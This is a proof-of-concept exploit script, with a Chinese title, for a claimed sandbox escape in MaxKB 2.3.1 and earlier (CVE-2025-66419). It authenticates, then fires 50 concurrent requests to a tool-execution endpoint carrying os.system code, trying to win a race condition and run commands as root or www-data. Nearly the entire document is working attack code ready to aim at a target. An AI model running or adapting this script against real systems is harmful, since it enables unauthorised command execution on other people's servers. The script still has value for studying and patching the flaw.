CVE-2025-66419 MaxKB工具模块沙箱逃逸权限提升漏洞

# CVE-2025-66419 MaxKB Sandbox Escape PoC # Target: MaxKB <= 2.3.1 # Type: Sandbox Escape via Race Condition import requests import json import time import threading TARGET_URL = "http://target-server:8080" USERNAME = "[email protected]" PASSWORD = "password123" def get_auth_token(): """Authenticate and get access token""" login_url = f"{TARGET_URL}/api/auth/login" data = { "username": USERNAME, "password": PASSWORD } response = requests.post(login_url, json=data) return response.json().get('access_token') def send_malicious_request(token, payload_id): """Send malicious tool request with crafted payload""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Crafted payload to exploit race condition malicious_payload = { "tool_name": "code_executor", "parameters": { "code": f"__import__('os').system('whoami')", "context_id": f"context_{payload_id}" } } url = f"{TARGET_URL}/api/tools/execute" try: response = requests.post(url, json=malicious_payload, headers=headers, timeout=5) return response.json() except Exception as e: return {"error": str(e)} def exploit_sandbox_escape(): """Main exploitation function using race condition""" print("[*] Starting CVE-2025-66419 exploitation...") # Step 1: Authenticate token = get_auth_token() if not token: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Launch concurrent requests to trigger race condition threads = [] results = [] for i in range(50): t = threading.Thread(target=lambda idx: results.append(send_malicious_request(token, idx)), args=(i,)) threads.append(t) t.start() time.sleep(0.001) # Small delay to increase race condition probability for t in threads: t.join() # Step 3: Analyze results for successful exploitation for result in results: if result and 'data' in result: output = result.get('data', {}).get('output', '') if 'root' in output or 'www-data' in output or not result.get('error'): print("[+] Sandbox escape potentially successful!") print(f"[+] Output: {output}") return True print("[-] Exploitation did not succeed") return False if __name__ == "__main__": exploit_sandbox_escape()